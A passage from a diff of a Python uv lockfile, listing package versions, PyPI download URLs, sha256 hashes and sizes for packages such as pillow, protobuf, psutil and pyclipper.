"sha256:652a2c9ccfb556235b2b501a3a7cf3742148cd22e04b5625c5fe057ea3e3191f", size = 6232137, upload-time = "2026-02-11T04:22:11.434Z" }, + { url = "https://files.pythonhosted.org/packages/70/f1/f14d5b8eeb4b2cd62b9f9f847eb6605f103df89ef619ac68f92f748614ea/pillow-12.1.1-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:d6e4571eedf43af33d0fc233a382a76e849badbccdf1ac438841308652a08e1f", size = 8042721, upload-time = "2026-02-11T04:22:13.321Z" }, + { url = "https://files.pythonhosted.org/packages/5a/d6/17824509146e4babbdabf04d8171491fa9d776f7061ff6e727522df9bd03/pillow-12.1.1-cp314-cp314-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b574c51cf7d5d62e9be37ba446224b59a2da26dc4c1bb2ecbe936a4fb1a7cb7f", size = 6347798, upload-time = "2026-02-11T04:22:15.449Z" }, + { url = "https://files.pythonhosted.org/packages/d1/ee/c85a38a9ab92037a75615aba572c85ea51e605265036e00c5b67dfafbfe2/pillow-12.1.1-cp314-cp314-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a37691702ed687799de29a518d63d4682d9016932db66d4e90c345831b02fb4e", size = 7039315, upload-time = "2026-02-11T04:22:17.24Z" }, + { url = "https://files.pythonhosted.org/packages/ec/f3/bc8ccc6e08a148290d7523bde4d9a0d6c981db34631390dc6e6ec34cacf6/pillow-12.1.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:f95c00d5d6700b2b890479664a06e754974848afaae5e21beb4d83c106923fd0", size = 6462360, upload-time = "2026-02-11T04:22:19.111Z" }, + { url = "https://files.pythonhosted.org/packages/f6/ab/69a42656adb1d0665ab051eec58a41f169ad295cf81ad45406963105408f/pillow-12.1.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:559b38da23606e68681337ad74622c4dbba02254fc9cb4488a305dd5975c7eeb", size = 7165438, upload-time = "2026-02-11T04:22:21.041Z" }, + { url = "https://files.pythonhosted.org/packages/02/46/81f7aa8941873f0f01d4b55cc543b0a3d03ec2ee30d617a0448bf6bd6dec/pillow-12.1.1-cp314-cp314-win32.whl", hash = "sha256:03edcc34d688572014ff223c125a3f77fb08091e4607e7745002fc214070b35f", size = 6431503, upload-time = "2026-02-11T04:22:22.833Z" }, + { url = "https://files.pythonhosted.org/packages/40/72/4c245f7d1044b67affc7f134a09ea619d4895333d35322b775b928180044/pillow-12.1.1-cp314-cp314-win_amd64.whl", hash = "sha256:50480dcd74fa63b8e78235957d302d98d98d82ccbfac4c7e12108ba9ecbdba15", size = 7176748, upload-time = "2026-02-11T04:22:24.64Z" }, + { url = "https://files.pythonhosted.org/packages/e4/ad/8a87bdbe038c5c698736e3348af5c2194ffb872ea52f11894c95f9305435/pillow-12.1.1-cp314-cp314-win_arm64.whl", hash = "sha256:5cb1785d97b0c3d1d1a16bc1d710c4a0049daefc4935f3a8f31f827f4d3d2e7f", size = 2544314, upload-time = "2026-02-11T04:22:26.685Z" }, + { url = "https://files.pythonhosted.org/packages/6c/9d/efd18493f9de13b87ede7c47e69184b9e859e4427225ea962e32e56a49bc/pillow-12.1.1-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:1f90cff8aa76835cba5769f0b3121a22bd4eb9e6884cfe338216e557a9a548b8", size = 5268612, upload-time = "2026-02-11T04:22:29.884Z" }, + { url = "https://files.pythonhosted.org/packages/f8/f1/4f42eb2b388eb2ffc660dcb7f7b556c1015c53ebd5f7f754965ef997585b/pillow-12.1.1-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:1f1be78ce9466a7ee64bfda57bdba0f7cc499d9794d518b854816c41bf0aa4e9", size = 4660567, upload-time = "2026-02-11T04:22:31.799Z" }, + { url = "https://files.pythonhosted.org/packages/01/54/df6ef130fa43e4b82e32624a7b821a2be1c5653a5fdad8469687a7db4e00/pillow-12.1.1-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:42fc1f4677106188ad9a55562bbade416f8b55456f522430fadab3cef7cd4e60", size = 6269951, upload-time = "2026-02-11T04:22:33.921Z" }, + { url = "https://files.pythonhosted.org/packages/a9/48/618752d06cc44bb4aae8ce0cd4e6426871929ed7b46215638088270d9b34/pillow-12.1.1-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:98edb152429ab62a1818039744d8fbb3ccab98a7c29fc3d5fcef158f3f1f68b7", size = 8074769, upload-time = "2026-02-11T04:22:35.877Z" }, + { url = "https://files.pythonhosted.org/packages/c3/bd/f1d71eb39a72fa088d938655afba3e00b38018d052752f435838961127d8/pillow-12.1.1-cp314-cp314t-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:d470ab1178551dd17fdba0fef463359c41aaa613cdcd7ff8373f54be629f9f8f", size = 6381358, upload-time = "2026-02-11T04:22:37.698Z" }, + { url = "https://files.pythonhosted.org/packages/64/ef/c784e20b96674ed36a5af839305f55616f8b4f8aa8eeccf8531a6e312243/pillow-12.1.1-cp314-cp314t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:6408a7b064595afcab0a49393a413732a35788f2a5092fdc6266952ed67de586", size = 7068558, upload-time = "2026-02-11T04:22:39.597Z" }, + { url = "https://files.pythonhosted.org/packages/73/cb/8059688b74422ae61278202c4e1ad992e8a2e7375227be0a21c6b87ca8d5/pillow-12.1.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:5d8c41325b382c07799a3682c1c258469ea2ff97103c53717b7893862d0c98ce", size = 6493028, upload-time = "2026-02-11T04:22:42.73Z" }, + { url = "https://files.pythonhosted.org/packages/c6/da/e3c008ed7d2dd1f905b15949325934510b9d1931e5df999bb15972756818/pillow-12.1.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:c7697918b5be27424e9ce568193efd13d925c4481dd364e43f5dff72d33e10f8", size = 7191940, upload-time = "2026-02-11T04:22:44.543Z" }, + { url = "https://files.pythonhosted.org/packages/01/4a/9202e8d11714c1fc5951f2e1ef362f2d7fbc595e1f6717971d5dd750e969/pillow-12.1.1-cp314-cp314t-win32.whl", hash = "sha256:d2912fd8114fc5545aa3a4b5576512f64c55a03f3ebcca4c10194d593d43ea36", size = 6438736, upload-time = "2026-02-11T04:22:46.347Z" }, + { url = "https://files.pythonhosted.org/packages/f3/ca/cbce2327eb9885476b3957b2e82eb12c866a8b16ad77392864ad601022ce/pillow-12.1.1-cp314-cp314t-win_amd64.whl", hash = "sha256:4ceb838d4bd9dab43e06c363cab2eebf63846d6a4aeaea283bbdfd8f1a8ed58b", size = 7182894, upload-time = "2026-02-11T04:22:48.114Z" }, + { url = "https://files.pythonhosted.org/packages/ec/d2/de599c95ba0a973b94410477f8bf0b6f0b5e67360eb89bcb1ad365258beb/pillow-12.1.1-cp314-cp314t-win_arm64.whl", hash = "sha256:7b03048319bfc6170e93bd60728a1af51d3dd7704935feb228c4d4faab35d334", size = 2546446, upload-time = "2026-02-11T04:22:50.342Z" }, + { url = "https://files.pythonhosted.org/packages/56/11/5d43209aa4cb58e0cc80127956ff1796a68b928e6324bbf06ef4db34367b/pillow-12.1.1-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:600fd103672b925fe62ed08e0d874ea34d692474df6f4bf7ebe148b30f89f39f", size = 5228606, upload-time = "2026-02-11T04:22:52.106Z" }, + { url = "https://files.pythonhosted.org/packages/5f/d5/3b005b4e4fda6698b371fa6c21b097d4707585d7db99e98d9b0b87ac612a/pillow-12.1.1-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:665e1b916b043cef294bc54d47bf02d87e13f769bc4bc5fa225a24b3a6c5aca9", size = 4622321, upload-time = "2026-02-11T04:22:53.827Z" }, + { url = "https://files.pythonhosted.org/packages/df/36/ed3ea2d594356fd8037e5a01f6156c74bc8d92dbb0fa60746cc96cabb6e8/pillow-12.1.1-pp311-pypy311_pp73-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:495c302af3aad1ca67420ddd5c7bd480c8867ad173528767d906428057a11f0e", size = 5247579, upload-time = "2026-02-11T04:22:56.094Z" }, + { url = "https://files.pythonhosted.org/packages/54/9a/9cc3e029683cf6d20ae5085da0dafc63148e3252c2f13328e553aaa13cfb/pillow-12.1.1-pp311-pypy311_pp73-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:8fd420ef0c52c88b5a035a0886f367748c72147b2b8f384c9d12656678dfdfa9", size = 6989094, upload-time = "2026-02-11T04:22:58.288Z" }, + { url = "https://files.pythonhosted.org/packages/00/98/fc53ab36da80b88df0967896b6c4b4cd948a0dc5aa40a754266aa3ae48b3/pillow-12.1.1-pp311-pypy311_pp73-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f975aa7ef9684ce7e2c18a3aa8f8e2106ce1e46b94ab713d156b2898811651d3", size = 5313850, upload-time = "2026-02-11T04:23:00.554Z" }, + { url = "https://files.pythonhosted.org/packages/30/02/00fa585abfd9fe9d73e5f6e554dc36cc2b842898cbfc46d70353dae227f8/pillow-12.1.1-pp311-pypy311_pp73-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8089c852a56c2966cf18835db62d9b34fef7ba74c726ad943928d494fa7f4735", size = 5963343, upload-time = "2026-02-11T04:23:02.934Z" }, + { url = "https://files.pythonhosted.org/packages/f2/26/c56ce33ca856e358d27fda9676c055395abddb82c35ac0f593877ed4562e/pillow-12.1.1-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:cb9bb857b2d057c6dfc72ac5f3b44836924ba15721882ef103cecb40d002d80e", size = 7029880, upload-time = "2026-02-11T04:23:04.783Z" }, +] + +[[package]] +name = "platformdirs" +version = "4.3.8" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/fe/8b/3c73abc9c759ecd3f1f7ceff6685840859e8070c4d947c93fae71f6a0bf2/platformdirs-4.3.8.tar.gz", hash = "sha256:3d512d96e16bcb959a814c9f348431070822a6496326a4be0911c40b5a74c2bc", size = 21362, upload-time = "2025-05-07T22:47:42.121Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/fe/39/979e8e21520d4e47a0bbe349e2713c0aac6f3d853d0e5b34d76206c439aa/platformdirs-4.3.8-py3-none-any.whl", hash = "sha256:ff7059bb7eb1179e2685604f4aaf157cfd9535242bd23742eadc3c13542139b4", size = 18567, upload-time = "2025-05-07T22:47:40.376Z" }, +] + +[[package]] +name = "pluggy" +version = "1.5.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/96/2d/02d4312c973c6050a18b314a5ad0b3210edb65a906f868e31c111dede4a6/pluggy-1.5.0.tar.gz", hash = "sha256:2cffa88e94fdc978c4c574f15f9e59b7f4201d439195c3715ca9e2486f1d0cf1", size = 67955, upload-time = "2024-04-20T21:34:42.531Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/88/5f/e351af9a41f866ac3f1fac4ca0613908d9a41741cfcf2228f4ad853b697d/pluggy-1.5.0-py3-none-any.whl", hash = "sha256:44e1ad92c8ca002de6377e165f3e0f1be63266ab4d554740532335b9d75ea669", size = 20556, upload-time = "2024-04-20T21:34:40.434Z" }, +] + +[[package]] +name = "portalocker" +version = "3.2.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pywin32", marker = "sys_platform == 'win32'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/5e/77/65b857a69ed876e1951e88aaba60f5ce6120c33703f7cb61a3c894b8c1b6/portalocker-3.2.0.tar.gz", hash = "sha256:1f3002956a54a8c3730586c5c77bf18fae4149e07eaf1c29fc3faf4d5a3f89ac", size = 95644, upload-time = "2025-06-14T13:20:40.03Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/4b/a6/38c8e2f318bf67d338f4d629e93b0b4b9af331f455f0390ea8ce4a099b26/portalocker-3.2.0-py3-none-any.whl", hash = "sha256:3cdc5f565312224bc570c49337bd21428bba0ef363bbcf58b9ef4a9f11779968", size = 22424, upload-time = "2025-06-14T13:20:38.083Z" }, +] + +[[package]] +name = "pre-commit" +version = "4.5.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "cfgv" }, + { name = "identify" }, + { name = "nodeenv" }, + { name = "pyyaml" }, + { name = "virtualenv" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/40/f1/6d86a29246dfd2e9b6237f0b5823717f60cad94d47ddc26afa916d21f525/pre_commit-4.5.1.tar.gz", hash = "sha256:eb545fcff725875197837263e977ea257a402056661f09dae08e4b149b030a61", size = 198232, upload-time = "2025-12-16T21:14:33.552Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/5d/19/fd3ef348460c80af7bb4669ea7926651d1f95c23ff2df18b9d24bab4f3fa/pre_commit-4.5.1-py2.py3-none-any.whl", hash = "sha256:3b3afd891e97337708c1674210f8eba659b52a38ea5f822ff142d10786221f77", size = 226437, upload-time = "2025-12-16T21:14:32.409Z" }, +] + +[[package]] +name = "protobuf" +version = "6.33.5" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/ba/25/7c72c307aafc96fa87062aa6291d9f7c94836e43214d43722e86037aac02/protobuf-6.33.5.tar.gz", hash = "sha256:6ddcac2a081f8b7b9642c09406bc6a4290128fce5f471cddd165960bb9119e5c", size = 444465, upload-time = "2026-01-29T21:51:33.494Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b1/79/af92d0a8369732b027e6d6084251dd8e782c685c72da161bd4a2e00fbabb/protobuf-6.33.5-cp310-abi3-win32.whl", hash = "sha256:d71b040839446bac0f4d162e758bea99c8251161dae9d0983a3b88dee345153b", size = 425769, upload-time = "2026-01-29T21:51:21.751Z" }, + { url = "https://files.pythonhosted.org/packages/55/75/bb9bc917d10e9ee13dee8607eb9ab963b7cf8be607c46e7862c748aa2af7/protobuf-6.33.5-cp310-abi3-win_amd64.whl", hash = "sha256:3093804752167bcab3998bec9f1048baae6e29505adaf1afd14a37bddede533c", size = 437118, upload-time = "2026-01-29T21:51:24.022Z" }, + { url = "https://files.pythonhosted.org/packages/a2/6b/e48dfc1191bc5b52950246275bf4089773e91cb5ba3592621723cdddca62/protobuf-6.33.5-cp39-abi3-macosx_10_9_universal2.whl", hash = "sha256:a5cb85982d95d906df1e2210e58f8e4f1e3cdc088e52c921a041f9c9a0386de5", size = 427766, upload-time = "2026-01-29T21:51:25.413Z" }, + { url = "https://files.pythonhosted.org/packages/4e/b1/c79468184310de09d75095ed1314b839eb2f72df71097db9d1404a1b2717/protobuf-6.33.5-cp39-abi3-manylinux2014_aarch64.whl", hash = "sha256:9b71e0281f36f179d00cbcb119cb19dec4d14a81393e5ea220f64b286173e190", size = 324638, upload-time = "2026-01-29T21:51:26.423Z" }, + { url = "https://files.pythonhosted.org/packages/c5/f5/65d838092fd01c44d16037953fd4c2cc851e783de9b8f02b27ec4ffd906f/protobuf-6.33.5-cp39-abi3-manylinux2014_s390x.whl", hash = "sha256:8afa18e1d6d20af15b417e728e9f60f3aa108ee76f23c3b2c07a2c3b546d3afd", size = 339411, upload-time = "2026-01-29T21:51:27.446Z" }, + { url = "https://files.pythonhosted.org/packages/9b/53/a9443aa3ca9ba8724fdfa02dd1887c1bcd8e89556b715cfbacca6b63dbec/protobuf-6.33.5-cp39-abi3-manylinux2014_x86_64.whl", hash = "sha256:cbf16ba3350fb7b889fca858fb215967792dc125b35c7976ca4818bee3521cf0", size = 323465, upload-time = "2026-01-29T21:51:28.925Z" }, + { url = "https://files.pythonhosted.org/packages/57/bf/2086963c69bdac3d7cff1cc7ff79b8ce5ea0bec6797a017e1be338a46248/protobuf-6.33.5-py3-none-any.whl", hash = "sha256:69915a973dd0f60f31a08b8318b73eab2bd6a392c79184b3612226b0a3f8ec02", size = 170687, upload-time = "2026-01-29T21:51:32.557Z" }, +] + +[[package]] +name = "psutil" +version = "7.2.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/aa/c6/d1ddf4abb55e93cebc4f2ed8b5d6dbad109ecb8d63748dd2b20ab5e57ebe/psutil-7.2.2.tar.gz", hash = "sha256:0746f5f8d406af344fd547f1c8daa5f5c33dbc293bb8d6a16d80b4bb88f59372", size = 493740, upload-time = "2026-01-28T18:14:54.428Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/51/08/510cbdb69c25a96f4ae523f733cdc963ae654904e8db864c07585ef99875/psutil-7.2.2-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:2edccc433cbfa046b980b0df0171cd25bcaeb3a68fe9022db0979e7aa74a826b", size = 130595, upload-time = "2026-01-28T18:14:57.293Z" }, + { url = "https://files.pythonhosted.org/packages/d6/f5/97baea3fe7a5a9af7436301f85490905379b1c6f2dd51fe3ecf24b4c5fbf/psutil-7.2.2-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:e78c8603dcd9a04c7364f1a3e670cea95d51ee865e4efb3556a3a63adef958ea", size = 131082, upload-time = "2026-01-28T18:14:59.732Z" }, + { url = "https://files.pythonhosted.org/packages/37/d6/246513fbf9fa174af531f28412297dd05241d97a75911ac8febefa1a53c6/psutil-7.2.2-cp313-cp313t-manylinux2010_x86_64.manylinux_2_12_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1a571f2330c966c62aeda00dd24620425d4b0cc86881c89861fbc04549e5dc63", size = 181476, upload-time = "2026-01-28T18:15:01.884Z" }, + { url = "https://files.pythonhosted.org/packages/b8/b5/9182c9af3836cca61696dabe4fd1304e17bc56cb62f17439e1154f225dd3/psutil-7.2.2-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:917e891983ca3c1887b4ef36447b1e0873e70c933afc831c6b6da078ba474312", size = 184062, upload-time = "2026-01-28T18:15:04.436Z" }, + { url = "https://files.pythonhosted.org/packages/16/ba/0756dca669f5a9300d0cbcbfae9a4c30e446dfc7440ffe43ded5724bfd93/psutil-7.2.2-cp313-cp313t-win_amd64.whl", hash = "sha256:ab486563df44c17f5173621c7b198955bd6b613fb87c71c161f827d3fb149a9b", size = 139893, upload-time = "2026-01-28T18:15:06.378Z" }, + { url = "https://files.pythonhosted.org/packages/1c/61/8fa0e26f33623b49949346de05ec1ddaad02ed8ba64af45f40a147dbfa97/psutil-7.2.2-cp313-cp313t-win_arm64.whl", hash = "sha256:ae0aefdd8796a7737eccea863f80f81e468a1e4cf14d926bd9b6f5f2d5f90ca9", size = 135589, upload-time = "2026-01-28T18:15:08.03Z" }, + { url = "https://files.pythonhosted.org/packages/81/69/ef179ab5ca24f32acc1dac0c247fd6a13b501fd5534dbae0e05a1c48b66d/psutil-7.2.2-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:eed63d3b4d62449571547b60578c5b2c4bcccc5387148db46e0c2313dad0ee00", size = 130664, upload-time = "2026-01-28T18:15:09.469Z" }, + { url = "https://files.pythonhosted.org/packages/7b/64/665248b557a236d3fa9efc378d60d95ef56dd0a490c2cd37dafc7660d4a9/psutil-7.2.2-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:7b6d09433a10592ce39b13d7be5a54fbac1d1228ed29abc880fb23df7cb694c9", size = 131087, upload-time = "2026-01-28T18:15:11.724Z" }, + { url = "https://files.pythonhosted.org/packages/d5/2e/e6782744700d6759ebce3043dcfa661fb61e2fb752b91cdeae9af12c2178/psutil-7.2.2-cp314-cp314t-manylinux2010_x86_64.manylinux_2_12_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1fa4ecf83bcdf6e6c8f4449aff98eefb5d0604bf88cb883d7da3d8d2d909546a", size = 182383, upload-time = "2026-01-28T18:15:13.445Z" }, + { url = "https://files.pythonhosted.org/packages/57/49/0a41cefd10cb7505cdc04dab3eacf24c0c2cb158a998b8c7b1d27ee2c1f5/psutil-7.2.2-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e452c464a02e7dc7822a05d25db4cde564444a67e58539a00f929c51eddda0cf", size = 185210, upload-time = "2026-01-28T18:15:16.002Z" }, + { url = "https://files.pythonhosted.org/packages/dd/2c/ff9bfb544f283ba5f83ba725a3c5fec6d6b10b8f27ac1dc641c473dc390d/psutil-7.2.2-cp314-cp314t-win_amd64.whl", hash = "sha256:c7663d4e37f13e884d13994247449e9f8f574bc4655d509c3b95e9ec9e2b9dc1", size = 141228, upload-time = "2026-01-28T18:15:18.385Z" }, + { url = "https://files.pythonhosted.org/packages/f2/fc/f8d9c31db14fcec13748d373e668bc3bed94d9077dbc17fb0eebc073233c/psutil-7.2.2-cp314-cp314t-win_arm64.whl", hash = "sha256:11fe5a4f613759764e79c65cf11ebdf26e33d6dd34336f8a337aa2996d71c841", size = 136284, upload-time = "2026-01-28T18:15:19.912Z" }, + { url = "https://files.pythonhosted.org/packages/e7/36/5ee6e05c9bd427237b11b3937ad82bb8ad2752d72c6969314590dd0c2f6e/psutil-7.2.2-cp36-abi3-macosx_10_9_x86_64.whl", hash = "sha256:ed0cace939114f62738d808fdcecd4c869222507e266e574799e9c0faa17d486", size = 129090, upload-time = "2026-01-28T18:15:22.168Z" }, + { url = "https://files.pythonhosted.org/packages/80/c4/f5af4c1ca8c1eeb2e92ccca14ce8effdeec651d5ab6053c589b074eda6e1/psutil-7.2.2-cp36-abi3-macosx_11_0_arm64.whl", hash = "sha256:1a7b04c10f32cc88ab39cbf606e117fd74721c831c98a27dc04578deb0c16979", size = 129859, upload-time = "2026-01-28T18:15:23.795Z" }, + { url = "https://files.pythonhosted.org/packages/b5/70/5d8df3b09e25bce090399cf48e452d25c935ab72dad19406c77f4e828045/psutil-7.2.2-cp36-abi3-manylinux2010_x86_64.manylinux_2_12_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:076a2d2f923fd4821644f5ba89f059523da90dc9014e85f8e45a5774ca5bc6f9", size = 155560, upload-time = "2026-01-28T18:15:25.976Z" }, + { url = "https://files.pythonhosted.org/packages/63/65/37648c0c158dc222aba51c089eb3bdfa238e621674dc42d48706e639204f/psutil-7.2.2-cp36-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b0726cecd84f9474419d67252add4ac0cd9811b04d61123054b9fb6f57df6e9e", size = 156997, upload-time = "2026-01-28T18:15:27.794Z" }, + { url = "https://files.pythonhosted.org/packages/8e/13/125093eadae863ce03c6ffdbae9929430d116a246ef69866dad94da3bfbc/psutil-7.2.2-cp36-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:fd04ef36b4a6d599bbdb225dd1d3f51e00105f6d48a28f006da7f9822f2606d8", size = 148972, upload-time = "2026-01-28T18:15:29.342Z" }, + { url = "https://files.pythonhosted.org/packages/04/78/0acd37ca84ce3ddffaa92ef0f571e073faa6d8ff1f0559ab1272188ea2be/psutil-7.2.2-cp36-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:b58fabe35e80b264a4e3bb23e6b96f9e45a3df7fb7eed419ac0e5947c61e47cc", size = 148266, upload-time = "2026-01-28T18:15:31.597Z" }, + { url = "https://files.pythonhosted.org/packages/b4/90/e2159492b5426be0c1fef7acba807a03511f97c5f86b3caeda6ad92351a7/psutil-7.2.2-cp37-abi3-win_amd64.whl", hash = "sha256:eb7e81434c8d223ec4a219b5fc1c47d0417b12be7ea866e24fb5ad6e84b3d988", size = 137737, upload-time = "2026-01-28T18:15:33.849Z" }, + { url = "https://files.pythonhosted.org/packages/8c/c7/7bb2e321574b10df20cbde462a94e2b71d05f9bbda251ef27d104668306a/psutil-7.2.2-cp37-abi3-win_arm64.whl", hash = "sha256:8c233660f575a5a89e6d4cb65d9f938126312bca76d8fe087b947b3a1aaac9ee", size = 134617, upload-time = "2026-01-28T18:15:36.514Z" }, +] + +[[package]] +name = "pybase64" +version = "1.0.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/38/b8/1732027d79ac822f19b6e6806ef9bc6817a65a57f577db412fa877d10650/pybase64-1.0.2.tar.gz", hash = "sha256:c430b36751dd89820c867aadd0130bbe8ce007ee570cbe91bb23012fb6f52e87", size = 105700, upload-time = "2020-10-17T09:15:56.025Z" } + +[[package]] +name = "pyclipper" +version = "1.4.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/f6/21/3c06205bb407e1f79b73b7b4dfb3950bd9537c4f625a68ab5cc41177f5bc/pyclipper-1.4.0.tar.gz", hash = "sha256:9882bd889f27da78add4dd6f881d25697efc740bf840274e749988d25496c8e1", size = 54489, upload-time = "2025-12-01T13:15:35.015Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/8a/9f/a10173d32ecc2ce19a04d018163f3ca22a04c0c6ad03b464dcd32f9152a8/pyclipper-1.4.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:bafad70d2679c187120e8c44e1f9a8b06150bad8c0aecf612ad7dfbfa9510f73", size = 264510, upload-time = "2025-12-01T13:14:46.551Z" }, + { url = "https://files.pythonhosted.org/packages/e0/c2/5490ddc4a1f7ceeaa0258f4266397e720c02db515b2ca5bc69b85676f697/pyclipper-1.4.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:0b74a9dd44b22a7fd35d65fb1ceeba57f3817f34a97a28c3255556362e491447", size = 139498, upload-time = "2025-12-01T13:14:48.31Z" }, + { url = "https://files.pythonhosted.org/packages/3b/0a/bea9102d1d75634b1a5702b0e92982451a1eafca73c4845d3dbe27eba13d/pyclipper-1.4.0-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:0a4d2736fb3c42e8eb1d38bf27a720d1015526c11e476bded55138a977c17d9d", size = 970974, upload-time = "2025-12-01T13:14:49.799Z" }, + { url = "https://files.pythonhosted.org/packages/8b/1b/097f8776d5b3a10eb7b443b632221f4ed825d892e79e05682f4b10a1a59c/pyclipper-1.4.0-cp310-cp310-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b3b3630051b53ad2564cb079e088b112dd576e3d91038338ad1cc7915e0f14dc", size = 943315, upload-time = "2025-12-01T13:14:51.266Z" }, + { url = "https://files.pythonhosted.org/packages/fd/4d/17d6a3f1abf0f368d58f2309e80ee3761afb1fd1342f7780ab32ba4f0b1d/pyclipper-1.4.0-cp310-cp310-win32.whl", hash = "sha256:8d42b07a2f6cfe2d9b87daf345443583f00a14e856927782fde52f3a255e305a", size = 95286, upload-time = "2025-12-01T13:14:52.922Z" }, + { url = "https://files.pythonhosted.org/packages/53/ca/b30138427ed122ec9b47980b943164974a2ec606fa3f71597033b9a9f9a6/pyclipper-1.4.0-cp310-cp310-win_amd64.whl", hash = "sha256:6a97b961f182b92d899ca88c1bb3632faea2e00ce18d07c5f789666ebb021ca4", size = 104227, upload-time = "2025-12-01T13:14:54.013Z" }, + { url = "https://files.pythonhosted.org/packages/de/e3/64cf7794319b088c288706087141e53ac259c7959728303276d18adc665d/pyclipper-1.4.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:adcb7ca33c5bdc33cd775e8b3eadad54873c802a6d909067a57348bcb96e7a2d", size = 264281, upload-time = "2025-12-01T13:14:55.47Z" }, + { url = "https://files.pythonhosted.org/packages/34/cd/44ec0da0306fa4231e76f1c2cb1fa394d7bde8db490a2b24d55b39865f69/pyclipper-1.4.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:fd24849d2b94ec749ceac7c34c9f01010d23b6e9d9216cf2238b8481160e703d", size = 139426, upload-time = "2025-12-01T13:14:56.683Z" }, + { url = "https://files.pythonhosted.org/packages/ad/88/d8f6c6763ea622fe35e19c75d8b39ed6c55191ddc82d65e06bc46b26cb8e/pyclipper-1.4.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:1b6c8d75ba20c6433c9ea8f1a0feb7e4d3ac06a09ad1fd6d571afc1ddf89b869", size = 989649, upload-time = "2025-12-01T13:14:58.28Z" }, + { url = "https://files.pythonhosted.org/packages/ff/e9/ea7d68c8c4af3842d6515bedcf06418610ad75f111e64c92c1d4785a1513/pyclipper-1.4.0-cp311-cp311-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:58e29d7443d7cc0e83ee9daf43927730386629786d00c63b04fe3b53ac01462c", size = 962842, upload-time = "2025-12-01T13:15:00.044Z" }, + { url = "https://files.pythonhosted.org/packages/4e/b7/0b4a272d8726e51ab05e2b933d8cc47f29757fb8212e38b619e170e6015c/pyclipper-1.4.0-cp311-cp311-win32.whl", hash = "sha256:a8d2b5fb75ebe57e21ce61e79a9131edec2622ff23cc665e4d1d1f201bc1a801", size = 95098, upload-time = "2025-12-01T13:15:01.359Z" }, + { url = "https://files.pythonhosted.org/packages/3a/76/4901de2919198bb2bd3d989f86d4a1dff363962425bb2d63e24e6c990042/pyclipper-1.4.0-cp311-cp311-win_amd64.whl", hash = "sha256:e9b973467d9c5fa9bc30bb6ac95f9f4d7c3d9fc25f6cf2d1cc972088e5955c01", size = 104362, upload-time = "2025-12-01T13:15:02.439Z" }, + { url = "https://files.pythonhosted.org/packages/90/1b/7a07b68e0842324d46c03e512d8eefa9cb92ba2a792b3b4ebf939dafcac3/pyclipper-1.4.0-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:222ac96c8b8281b53d695b9c4fedc674f56d6d4320ad23f1bdbd168f4e316140", size = 265676, 